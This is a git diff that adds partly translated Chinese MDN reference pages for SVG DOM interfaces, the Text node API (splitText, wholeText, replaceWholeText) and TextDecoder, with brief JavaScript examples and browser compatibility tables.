On an outermost {{SVGElement("svg")}} element, this float attribute indicates the current scale factor relative to the initial view to take into account user magnification and panning operations. DOM attributes currentScale and currentTranslate are equivalent to the 2x3 matrix [a b c d e f] = [currentScale 0 0 currentScale currentTranslate.x currentTranslate.y]. If "magnification" is enabled (i.e., zoomAndPan="magnify"), then the effect is as if an extra transformation were placed at the outermost level on the SVG document fragment (i.e., outside the outermost {{SVGElement("svg")}} element).
+
{{domxref("SVGSVGElement.currentTranslate")}} {{ReadOnlyInline}}
+
An {{domxref("SVGPoint")}} representing the translation factor that takes into account user "magnification" corresponding to an outermost {{SVGElement("svg")}} element. The behavior is undefined for <svg> elements that are not at the outermost level.
+
+ +

Methods

+ +

This interface also inherits methods from its parent, {{domxref("SVGGraphicsElement")}} and also implements the ones from {{domxref("SVGZoomAndPan")}}, {{domxref("SVGFitToViewBox")}}, and {{domxref("WindowEventHandlers")}}.

+ +
+
{{domxref("SVGSVGElement.suspendRedraw()")}} {{deprecated_inline}}
+
+

Takes a time-out value which indicates that redraw shall not occur until:

+ the corresponding unsuspendRedraw() call has been made, an unsuspendRedrawAll() call has been made, or its timer has timed out. + +

In environments that do not support interactivity (e.g., print media), then redraw shall not be suspended. Calls to suspendRedraw() and unsuspendRedraw() should, but need not be, made in balanced pairs.

+ +

To suspend redraw actions as a collection of SVG DOM changes occur, precede the changes to the SVG DOM with a method call similar to:

+ +
suspendHandleID = suspendRedraw(maxWaitMilliseconds);
+ +

and follow the changes with a method call similar to:

+ +
unsuspendRedraw(suspendHandleID);
+ +

Note that multiple suspendRedraw calls can be used at once and that each such method call is treated independently of the other suspendRedraw method calls.

+
+
{{domxref("SVGSVGElement.unsuspendRedraw()")}} {{deprecated_inline}}
+
Cancels a specified suspendRedraw() by providing a unique suspend handle ID that was returned by a previous suspendRedraw() call.
+
{{domxref("SVGSVGElement.unsuspendRedrawAll()")}} {{deprecated_inline}}
+
Cancels all currently active suspendRedraw() method calls. This method is most useful at the very end of a set of SVG DOM calls to ensure that all pending suspendRedraw() method calls have been cancelled.
+
{{domxref("SVGSVGElement.forceRedraw()")}} {{deprecated_inline}}
+
In rendering environments supporting interactivity, forces the user agent to immediately redraw all regions of the viewport that require updating.
+
{{domxref("SVGSVGElement.pauseAnimations()")}}
+
Suspends (i.e., pauses) all currently running animations that are defined within the SVG document fragment corresponding to this {{SVGElement("svg")}} element, causing the animation clock corresponding to this document fragment to stand still until it is unpaused.
+
{{domxref("SVGSVGElement.unpauseAnimations()")}}
+
Unsuspends (i.e., unpauses) currently running animations that are defined within the SVG document fragment, causing the animation clock to continue from the time at which it was suspended.
+
{{domxref("SVGSVGElement.animationsPaused()")}}
+
Returns true if this SVG document fragment is in a paused state.
+
{{domxref("SVGSVGElement.getCurrentTime()")}}
+
Returns the current time in seconds relative to the start time for the current SVG document fragment. If getCurrentTime is called before the document timeline has begun (for example, by script running in a {{SVGElement("script")}} element before the document's SVGLoad event is dispatched), then 0 is returned.
+
{{domxref("SVGSVGElement.setCurrentTime()")}}
+
Adjusts the clock for this SVG document fragment, establishing a new current time. If setCurrentTime is called before the document timeline has begun (for example, by script running in a {{SVGElement("script")}} element before the document's SVGLoad event is dispatched), then the value of seconds in the last invocation of the method gives the time that the document will seek to once the document timeline has begun.
+
{{domxref("SVGSVGElement.getIntersectionList()")}}
+
Returns a {{domxref("NodeList")}} of graphics elements whose rendered content intersects the supplied rectangle. Each candidate graphics element is to be considered a match only if the same graphics element can be a target of pointer events as defined in {{SVGAttr("pointer-events")}} processing.
+
{{domxref("SVGSVGElement.getEnclosureList()")}}
+
Returns a {{domxref("NodeList")}} of graphics elements whose rendered content is entirely contained within the supplied rectangle. Each candidate graphics element is to be considered a match only if the same graphics element can be a target of pointer events as defined in {{SVGAttr("pointer-events")}} processing.
+
{{domxref("SVGSVGElement.checkIntersection()")}}
+
Returns true if the rendered content of the given element intersects the supplied rectangle. Each candidate graphics element is to be considered a match only if the same graphics element can be a target of pointer events as defined in {{SVGAttr("pointer-events")}} processing.
+
{{domxref("SVGSVGElement.checkEnclosure()")}}
+
Returns true if the rendered content of the given element is entirely contained within the supplied rectangle. Each candidate graphics element is to be considered a match only if the same graphics element can be a target of pointer events as defined in {{SVGAttr("pointer-events")}} processing.
+
{{domxref("SVGSVGElement.deselectAll()")}}
+
Unselects any selected objects, including any selections of text strings and type-in bars.
+
{{domxref("SVGSVGElement.createSVGNumber()")}}
+
Creates an {{domxref("SVGNumber")}} object outside of any document trees. The object is initialized to a value of zero.
+
{{domxref("SVGSVGElement.createSVGLength()")}}
+
Creates an {{domxref("SVGLength")}} object outside of any document trees. The object is initialized to a value of zero user units.
+
{{domxref("SVGSVGElement.createSVGAngle()")}}
+
Creates an {{domxref("SVGAngle")}} object outside of any document trees. The object is initialized to a value of zero degrees (unitless).
+
{{domxref("SVGSVGElement.createSVGPoint()")}}
+
Creates an {{domxref("SVGPoint")}} object outside of any document trees. The object is initialized to the point (0,0) in the user coordinate system.
+
{{domxref("SVGSVGElement.createSVGMatrix()")}}
+
Creates an {{domxref("SVGMatrix")}} object outside of any document trees. The object is initialized to the identity matrix.
+
{{domxref("SVGSVGElement.createSVGRect()")}}
+
Creates an {{domxref("SVGRect")}} object outside of any document trees. The object is initialized such that all values are set to 0 user units.
+
{{domxref("SVGSVGElement.createSVGTransform()")}}
+
Creates an {{domxref("SVGTransform")}} object outside of any document trees. The object is initialized to an identity matrix transform (SVG_TRANSFORM_MATRIX).
+
{{domxref("SVGSVGElement.createSVGTransformFromMatrix()")}}
+
Creates an {{domxref("SVGTransform")}} object outside of any document trees. The object is initialized to the given matrix transform (i.e., SVG_TRANSFORM_MATRIX). The values from the parameter matrix are copied, the matrix parameter is not adopted as SVGTransform::matrix.
+
{{domxref("SVGSVGElement.getElementById()")}}
+
Searches this SVG document fragment (i.e., the search is restricted to a subset of the document tree) for an Element whose id is given by elementId. If an Element is found, that Element is returned. If no such element exists, returns null. Behavior is not defined if more than one element has this id.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG2", "struct.html#InterfaceSVGSVGElement", "SVGSVGElement")}}{{Spec2("SVG2")}}Replaced the inheritance from {{domxref("SVGElement")}} by {{domxref("SVGGraphicsElement")}}, removed the implemented interfaces {{domxref("SVGTests")}}, {{domxref("SVGLangSpace")}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}}, {{domxref("SVGLocatable")}}, {{domxref("DocumentEvent")}}, {{domxref("ViewCSS")}}, and {{domxref("DocumentCSS")}} and added implemented interface {{domxref("WindowEventHandlers")}}.
{{SpecName("SVG1.1", "struct.html#InterfaceSVGSVGElement", "SVGSVGElement")}}{{Spec2("SVG1.1")}}Initial definition
+ +

Browser compatibility

+ + + +

{{COMPAT("api.SVGSVGElement")}}

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/svguseelement/index.html b/files/zh-cn/web/api/svguseelement/index.html new file mode 100644 index 0000000000..aae9a87bab --- /dev/null +++ b/files/zh-cn/web/api/svguseelement/index.html @@ -0,0 +1,71 @@ +--- +title: SVGUseElement +slug: Web/API/SVGUseElement +translation_of: Web/API/SVGUseElement +--- +
{{APIRef("SVG")}}
+ +

SVG使用DOM接口

+ +

SVGUseElement接口对应于{{SVGElement("use")}}元素。

+ +

{{InheritanceDiagram(600, 140)}}

+ +

性质

+ +

此接口还从其父接口{{domxref("SVGGraphicsElement")}} 继承属性,并从{{domxref("SVGURIReference")}}实现属性。

+ +
+
{{domxref("SVGUseElement.x")}} {{ReadOnlyInline}}
+
An {{domxref("SVGAnimatedLength")}} corresponding to the {{SVGAttr("x")}} attribute of the given element.
+
{{domxref("SVGUseElement.y")}} {{ReadOnlyInline}}
+
An {{domxref("SVGAnimatedLength")}} corresponding to the {{SVGAttr("y")}} attribute of the given element.
+
{{domxref("SVGUseElement.width")}} {{ReadOnlyInline}}
+
An {{domxref("SVGAnimatedLength")}} corresponding to the {{SVGAttr("width")}} attribute of the given element.
+
{{domxref("SVGUseElement.height")}} {{ReadOnlyInline}}
+
An {{domxref("SVGAnimatedLength")}} corresponding to the {{SVGAttr("height")}} attribute of the given element.
+
{{domxref("SVGUseElement.instanceRoot")}} {{ReadOnlyInline}}
+
An {{domxref("SVGElement")}} corresponding to the instance root of the given element, which is a direct child of the elements shadow root. If the element does not have a shadow tree (for example, because its URI is invalid or because it has been disabled by conditional processing), then getting this attribute returns null.
+
{{domxref("SVGUseElement.animatedInstanceRoot")}} {{ReadOnlyInline}}
+
An {{domxref("SVGElement")}} corresponding to the instance root of the given element, which is a direct child of the elements shadow root. If the element does not have a shadow tree (for example, because its URI is invalid or because it has been disabled by conditional processing), then getting this attribute returns null.
+
+ +

Methods

+ +

This interface doesn't implement any specific methods, but inherits methods from its parent interface, {{domxref("SVGGraphicsElement")}} and implements methods from {{domxref("SVGURIReference")}}.

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG2", "struct.html#InterfaceSVGUseElement", "SVGUseElement")}}{{Spec2("SVG2")}}Redefined the properties instanceRoot and animatedInstanceRoot.
{{SpecName("SVG1.1", "struct.html#InterfaceSVGUseElement", "SVGUseElement")}}{{Spec2("SVG1.1")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.SVGUseElement")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/text/assignedslot/index.html b/files/zh-cn/web/api/text/assignedslot/index.html new file mode 100644 index 0000000000..860697d7bf --- /dev/null +++ b/files/zh-cn/web/api/text/assignedslot/index.html @@ -0,0 +1,89 @@ +--- +title: HTMLSlotElement.assignedSlot +slug: Web/API/Text/assignedSlot +translation_of: Web/API/Text/assignedSlot +--- +

{{SeeCompatTable}}{{APIRef("Shadow DOM")}}

+ +

 assignedSlot 是 {{domxref("Text")}} 接口的属性,返回与该元素相关联的{{domxref("HTMLSlotElement")}} .

+ +

Syntax

+ +
var htmlSlotElement = text.assignedSlot
+ +

Value

+ +

一个 {{domxref("HTMLSlotElement")}} 对象.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-slotable-assignedslot','assignedSlot')}}{{Spec2('DOM WHATWG')}} 
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(53.0)}}
+
diff --git a/files/zh-cn/web/api/text/index.html b/files/zh-cn/web/api/text/index.html new file mode 100644 index 0000000000..53f9e6ad5a --- /dev/null +++ b/files/zh-cn/web/api/text/index.html @@ -0,0 +1,195 @@ +--- +title: Text +slug: Web/API/Text +translation_of: Web/API/Text +--- +

{{ ApiRef() }}

+

The Text interface represents the textual content of {{domxref("Element")}} or {{domxref("Attr")}}.  If an element has no markup within its content, it has a single child implementing Text that contains the element's text.  However, if the element contains markup, it is parsed into information items and Text nodes that form its children.

+

New documents have a single Text node for each block of text. Over time, more Text nodes may be created as the document's content changes.  The {{domxref("Node.normalize()")}} method merges adjacent Text objects back into a single node for each block of text.

+

属性

+
+
+ {{domxref("Text.isElementContentWhitespace")}} {{readonlyInline}}{{ obsolete_inline() }}
+
+

Returns a {{domxref("Boolean")}} flag indicatingwhether or not the text node contains only whitespace.

+
+
+ {{domxref("Text.wholeText")}} {{readonlyInline}}
+
+ Returns a {{domxref("DOMString")}} containing the text of all Text nodes logically adjacent to this {{domxref("Node")}}, concatenated in document order.
+
+

构造函数

+
+
+ {{domxref("Text.Text", "Text()")}} {{experimental_inline}}
+
+ Returns a Text node with the parameter as its textual content.
+
+

方法

+
+
+ {{domxref("Text.replaceWholeText")}} {{ obsolete_inline() }}
+
+ Replaces the text of the current node and all logically adjacent nodes with the specified text.
+
+
+
+ {{domxref("Text.splitText")}}
+
+ Breaks the node into two nodes at a specified offset.
+
+

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#text', 'Text')}}{{Spec2('DOM WHATWG')}}Removed the isElementContentWhitespace property.
+ Removed the replaceWholeText() method.
+ Added the Text() constructor.
{{SpecName('DOM3 Core', 'core.html#ID-1312295772', 'Text')}}{{Spec2('DOM3 Core')}}Added the isElementContentWhitespace and wholeText properties.
+ Added the replaceWholeText() method.
{{SpecName('DOM2 Core', 'core.html#ID-1312295772', 'Text')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-core.html#ID-1312295772', 'Text')}}{{Spec2('DOM1')}}Initial definition.
+

浏览器兼容性

+

{{CompatibilityTable}}

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0 [3]{{CompatGeckoDesktop("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}} [3]{{CompatVersionUnknown}} [4]
wholeText1.0{{CompatGeckoDesktop("1.9.1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
isElementContentWhitespace{{CompatNo}}{{CompatVersionUnknown}}
+ Removed in {{CompatGeckoDesktop("10")}}
{{CompatNo}}{{CompatNo}}{{CompatNo}}
replaceWholeText{{CompatVersionUnknown}} [1] [2]{{CompatGeckoDesktop("1.9.1")}}
+ Removed in {{CompatGeckoDesktop("10")}}
{{CompatVersionUnknown}}{{CompatVersionUnknown}} [1] [2]{{CompatVersionUnknown}} [4]
Text() constructor28.0{{CompatGeckoDesktop("24.0")}}{{CompatNo}}15.0{{CompatNo}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [3]{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}} [3]{{CompatVersionUnknown}} [4]
wholeText{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
isElementContentWhitespace{{CompatNo}}{{CompatVersionUnknown}}
+ Removed in {{CompatGeckoMobile("10")}}
{{CompatNo}}{{CompatNo}}{{CompatNo}}
replaceWholeText{{CompatVersionUnknown}} [1] [2]{{CompatGeckoMobile("1.9.1")}}
+ Removed in {{CompatGeckoMobile("10")}}
{{CompatVersionUnknown}}{{CompatVersionUnknown}} [1] [2]{{CompatVersionUnknown}} [4]
Text() constructor{{CompatVersionUnknown}}{{CompatGeckoMobile("24.0")}}{{CompatNo}}15.0{{CompatNo}}
+
+

[1] Chromium is currently considering dropping its support.

+

[2] Before Chrome 30 and Opera 17, the argument wasn't mandatory, like required by the specification.

+

[3] Before Chrome 30 and Opera 17, splitText() argument was not mandatory, as required by the specification and implemented by IE and Gecko-based browsers.

+

[4] The argument is not mandatory, though required by the spec.

+

相关链接

+ diff --git a/files/zh-cn/web/api/text/iselementcontentwhitespace/index.html b/files/zh-cn/web/api/text/iselementcontentwhitespace/index.html new file mode 100644 index 0000000000..d138ce0a59 --- /dev/null +++ b/files/zh-cn/web/api/text/iselementcontentwhitespace/index.html @@ -0,0 +1,29 @@ +--- +title: Text.isElementContentWhitespace +slug: Web/API/Text/isElementContentWhitespace +translation_of: Web/API/Text/isElementContentWhitespace +--- +

{{ ApiRef() }}

+

{{ obsolete_header("") }}

+

返回一个布尔值,表明该文本节点的内容是否全部是由空白符组成的.

+
+ 警告: 该属性已经在DOM level 4中被废弃, 在一些新版本的浏览器(Gecko 10.0 )中已经被删除.
+

语法

+
b = textnode.isElementContentWhitespace;
+
+

例子

+

下例中 ,我们创建了一个内容为空白符和文字组成的文本节点.该节点的isElementContentWhitespace属性为false.

+
var tn = document.createTextNode("Hello world");
+tn.isElementContentWhitespace; /* 返回false */
+
+

下例中 ,我们创建了一个内容全部为空白符的文本节点.该节点的isElementContentWhitespace属性为true.

+
var ws = document.createTextNode("  \t \r\n   ")
+ws.isElementContentWhitespace; /* 返回true */
+
+

规范

+

DOM Level 3 Core: Text.isElementContentWhitespace

+

相关链接

+ +

{{ languages( { "en": "en/DOM/Text.isElementContentWhitespace" } ) }}

diff --git a/files/zh-cn/web/api/text/replacewholetext/index.html b/files/zh-cn/web/api/text/replacewholetext/index.html new file mode 100644 index 0000000000..2cfc234e76 --- /dev/null +++ b/files/zh-cn/web/api/text/replacewholetext/index.html @@ -0,0 +1,36 @@ +--- +title: text.replaceWholeText +slug: Web/API/Text/replaceWholeText +translation_of: Web/API/Text/replaceWholeText +--- +

{{ ApiRef() }}

+

{{ Obsolete_header() }}

+

{{ gecko_minversion_header("1.9.1") }}

+

Summary

+

replaceWholeText replaces the text of the node and all of its logically adjacent text nodes with the specified text.  The replaced nodes are removed, including the current node, unless it was the recipient of the replacement text.

+
+ Warning: This method has been deprecated in DOM level 4 and is no longer implemented in recent browsers, including Gecko 10.0 {{ geckoRelease("10.0") }}.
+

Syntax

+
replacementNode = textnode.replaceWholeText(content)
+
+

Parameters

+ +

Exceptions

+

NO_MODIFICATION_ALLOWED_ERR : A DOMException thrown if one of the text nodes being replaced is read only.

+

Example

+

See the example for the text.wholeText property.

+

Notes

+

This method returns the text node which received the replacement text, or null if the replacement text is an empty string.  The returned node is the current node unless the current node is read only, in which case the returned node is a newly created text node of the same type which has been inserted at the location of the replacement.

+
+ Note: Firefox's implementation of this method does not yet support EntityReference nodes as defined by the specification.
+

Specification

+

replaceWholeText

+

See also

+ +

{{ languages( {"en": "en/DOM/text.replaceWholeText" } ) }}

diff --git a/files/zh-cn/web/api/text/splittext/index.html b/files/zh-cn/web/api/text/splittext/index.html new file mode 100644 index 0000000000..4ad321bf85 --- /dev/null +++ b/files/zh-cn/web/api/text/splittext/index.html @@ -0,0 +1,127 @@ +--- +title: Text.splitText() +slug: Web/API/Text/splitText +tags: + - API + - DOM + - Text + - 方法 +translation_of: Web/API/Text/splitText +--- +
{{apiref("DOM")}}
+ +

Text.splitText() 方法可以根据指定的偏移量将一个 {{domxref("Text")}} 节点分割成前后两个独立的兄弟节点。

+ +

如果指定的偏移量刚好等于原文本节点所包含字符串的长度,则返回一个内容为空的文本节点.

+ +

分割后的文本节点还可以使用Node.normalize方法来合并.

+ +

语法

+ +
newNode = textNode.splitText(offset)
+
+ +

参数

+ +
+
offset
+
在中断文本节点前的索引。
+
+ + + +

返回值

+ +

返回一个新创建的 {{domxref("Text")}} 节点,该节点包含了 the text after the specified offset point.

+ +

异常

+ +
+
INDEX_SIZE_ERR
+
如果指定的偏移量小于0或者大于原文本节点中所包含字符串的长度,则抛出这个异常.
+
NO_MODIFICATION_ALLOWED_ERR
+
如果,原文本节点只读,则抛出这个异常.
+
+ +

例子

+ +

下面的例子中,一个 <p> 元素所包含的文本节点将会被分割成两个文本节点,然后在这两个节点中间插入一个 <span> 元素。

+ +

HTML

+ +
  <p id="p">foobar</p>
+
+ +

JavaScript

+ +
const  p = document.getElementById('p');
+
+// 将 <p> 的内容读取为一个文本节点
+const foobar = p.firstChild;
+
+// 将原来的文本节点分割成为内容分别为 foo 和 bar 的两个文本节点
+const bar = foobar.splitText(3);
+
+// 创建一个包含了内容为 ' new content ' 的文本节点的 <u> 元素
+const u = document.createElement('u');
+u.appendChild(document.createTextNode(' new content '));
+
+// 将 <u> 元素插入到后一个文本节点 'bar' 的前面
+p.insertBefore(u, bar);
+
+// 现在,HTML 结构就变成了 <p id="p">foo <span>span contents</span> bar</p>
+
+ +

结果

+ +

{{EmbedLiveSample("Example", 700, 70)}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-text-splittext', 'Text.splitText')}}{{Spec2('DOM WHATWG')}}No change from {{SpecName('DOM3 Core')}}.
{{SpecName('DOM3 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}.
{{SpecName('DOM2 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-core.html#ID-38853C1D', 'Text.splitText')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Text.splitText")}}

+ +

参见

+ + + +
+
+
diff --git a/files/zh-cn/web/api/text/text/index.html b/files/zh-cn/web/api/text/text/index.html new file mode 100644 index 0000000000..dee1c9a948 --- /dev/null +++ b/files/zh-cn/web/api/text/text/index.html @@ -0,0 +1,96 @@ +--- +title: Text() +slug: Web/API/Text/Text +tags: + - API + - Text +translation_of: Web/API/Text/Text +--- +

{{ Apiref("DOM")}}{{seeCompatTable}}

+ +

 Text() 构造方法返回一个最新创建的{{domxref("Text")}} 对象,该对象带有可选参数 {{domxref("DOMString")}} 作为文本节点的文本内容(textual content)。

+ +

Syntax

+ +
text1 = new Text(); // 创建一个空的文本节点(text node),即它的textContent 为空字符
+text2 = new Text("This is a text node");//该构造方法参数作为文本节点的textContent 的值。
+
+ +

Example

+ +
text = new Text("Test");
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#text', 'Text.Text()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support28.0{{CompatGeckoDesktop("24.0")}}{{CompatNo}}15.08.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("24.0")}}{{CompatNo}}15.08.0
+
+ +

See also

+ + + +

 

diff --git a/files/zh-cn/web/api/text/wholetext/index.html b/files/zh-cn/web/api/text/wholetext/index.html new file mode 100644 index 0000000000..5ec686a5b9 --- /dev/null +++ b/files/zh-cn/web/api/text/wholetext/index.html @@ -0,0 +1,141 @@ +--- +title: Text.wholeText +slug: Web/API/Text/wholeText +translation_of: Web/API/Text/wholeText +--- +

{{ apiref("DOM") }}

+ +

Text.wholeText只读属性返回Text逻辑上相邻的节点的所有文本。文本按文档顺序连接。这允许指定任何文本节点并获取所有相邻文本作为单个字符串。

+ +

Syntax

+ +
str = textnode.wholeText;
+ +

Notes and example

+ +

假设你的网页上有如下的简单文本(包括其中为了格式化代码而添加的一些空格), 其 DOM 节点 被储存在变量 para 中:

+ +
<p>Thru-hiking is great!  <strong>No insipid election coverage!</strong>
+  However, <a href="http://en.wikipedia.org/wiki/Absentee_ballot">casting a
+  ballot</a> is tricky.</p>
+
+ +

你觉得你不喜欢中间的句子, 所以你移除了它:

+ +
para.removeChild(para.childNodes[1]);
+
+ +

过了一会, 你又决定给“Thru-hiking is great, but casting a ballot is tricky.”这句换个说法, 同时保留超链接。 所以你尝试以下代码:

+ +
para.firstChild.data = "Thru-hiking is great, but ";
+
+ +

一切妥当, 是么? 不! 这会使你移除 strong 元素, 而被删掉的句子分隔了两个文本节点. 一个是第一句, 一个是最后一个单词. 相反, 你现在获得如下效果:

+ +
<p>Thru-hiking is great, but However, <a
+  href="http://en.wikipedia.org/wiki/Absentee_ballot">casting a
+  ballot</a> is tricky.</p>
+
+ +

实际上,你更倾向于将这些相邻扽文本节点作为同一文本节点. 这就是 wholeText 的用武之地:如果你有许多相邻的文本节点, 你可以通过wholeText访问这些节点里的所有内容。让我们假设你从未犯过最后一个错误. 在这种情况下, 我们有:

+ +
assert(para.firstChild.wholeText == "Thru-hiking is great!    However, ");
+
+ +

wholeText 只是文本节点的一个属性,特可以返回连接了所有相邻(i.e. 没有被其它元素边界分开) 文本节点数据的字符串 。

+ +

现在让我们回到最初的问题. 我们想做的是用新的文本替代旧的文本. 这就是 {{domxref("Text.replaceWholeText", "replaceWholeText()")}} 用处所在:

+ +
para.firstChild.replaceWholeText("Thru-hiking is great, but ");
+
+ +

我们移除了所有的相邻文本节点 (所有构成whole text的文本节点) 除了调用replaceWholeText() 的,并且把剩余的文本改成了新文本. 我们现在所得到的是这样的:

+ +
<p>Thru-hiking is great, but <a
+  href="http://en.wikipedia.org/wiki/Absentee_ballot">casting a
+  ballot</a> is tricky.</p>
+
+ +

有时候使用whole-text 功能同时使用Node.textContent 或长期支持的 {{domxref("Element.innerHTML")}}; 可以得到更好的处理。如果你需要处理一个元素内的混合内容, 正如本文所介绍的, wholeTextreplaceWholeText() 是有用的。

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-text-wholetext', 'Text.wholeText')}}{{Spec2('DOM WHATWG')}}No significant change.
{{SpecName('DOM3 Core', 'core.html#Text3-wholeText', 'Text.wholeText')}}{{Spec2('DOM3 Core')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/textdecoder/index.html b/files/zh-cn/web/api/textdecoder/index.html new file mode 100644 index 0000000000..a0e7279ba6 --- /dev/null +++ b/files/zh-cn/web/api/textdecoder/index.html @@ -0,0 +1,109 @@ +--- +title: TextDecoder +slug: Web/API/TextDecoder +tags: + - API + - DOM + - 参考 + - 接口 + - 编码 +translation_of: Web/API/TextDecoder +--- +
{{APIRef("Encoding API")}}
+ +

TextDecoder 接口表示一个文本解码器,一个解码器只支持一种特定文本编码,例如 utf-8iso-8859-2koi8cp1261gbk 等等。解码器将字节流作为输入,并提供代码点流作为输出

+ +

例子

+ +

用类型化数组表示文本

+ +

本示例展示如何解码中文/日语字符,用五个不同的数组类型表示 {{jsxref("Uint8Array")}}, {{jsxref("Int8Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Int32Array")}}

+ +
let utf8decoder = new TextDecoder(); // default 'utf-8' or 'utf8'
+
+let u8arr = new Uint8Array([240, 160, 174, 183]);
+let i8arr = new Int8Array([-16, -96, -82, -73]);
+let u16arr = new Uint16Array([41200, 47022]);
+let i16arr = new Int16Array([-24336, -18514]);
+let i32arr = new Int32Array([-1213292304]);
+
+console.log(utf8decoder.decode(u8arr));
+console.log(utf8decoder.decode(i8arr));
+console.log(utf8decoder.decode(u16arr));
+console.log(utf8decoder.decode(i16arr));
+console.log(utf8decoder.decode(i32arr));
+ +

处理非UTF8文本

+ +

在此示例中,我们对俄语文本“Привет,мир!”( "Hello, world.")进行解码。在我们的 {{domxref("TextDecoder/TextDecoder", "TextDecoder()")}} 构造函数中,我们指定Windows-1251字符编码,适用于西里尔字母。

+ +
let win1251decoder = new TextDecoder('windows-1251');
+let bytes = new Uint8Array([207, 240, 232, 226, 229, 242, 44, 32, 236, 232, 240, 33]);
+console.log(win1251decoder.decode(bytes)); // Привет, мир!
+ +

构造函数

+ +
+
{{DOMxRef("TextDecoder.TextDecoder", "TextDecoder()")}}
+
返回一个新构造的 TextDecoder,它使用参数中指定的解码方法生成代码点流。
+
+ +

属性

+ +

TextDecoder 接口不继承任何属性。

+ +
+
{{DOMxRef("TextDecoder.prototype.encoding")}}{{ReadOnlyInline}}
+
{{DOMxRef("DOMString")}}所包含的解码器的名称,表示TextDecoder所使用的解码方法的字符串。
+
{{DOMxRef("TextDecoder.prototype.fatal")}}{{ReadOnlyInline}}
+
布尔值,{{jsxref('Boolean')}},是否显示致命错误。
+
{{DOMxRef("TextDecoder.prototype.ignoreBOM")}} {{ReadOnlyInline}}
+
布尔值,{{jsxref('Boolean')}},是否忽略 BOM(byte order marker)标记。
+
+ +

方法

+ +
+
+ +

TextDecoder 接口不继承任何方法

+ +
+
{{DOMxRef("TextDecoder.prototype.decode()")}}
+
返回一个{{DOMxRef("DOMString")}},其中包含使用特定 TextDecoder 对象的方法解码的文本
+
+ +

规范

+ + + + + + + + + + + + + + +
规格状态评论
{{SpecName("Encoding", "#interface-textdecoder", "TextDecoder")}}{{Spec2("Encoding")}}初始定义。
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.TextDecoder")}}

+
+ +

相关链接

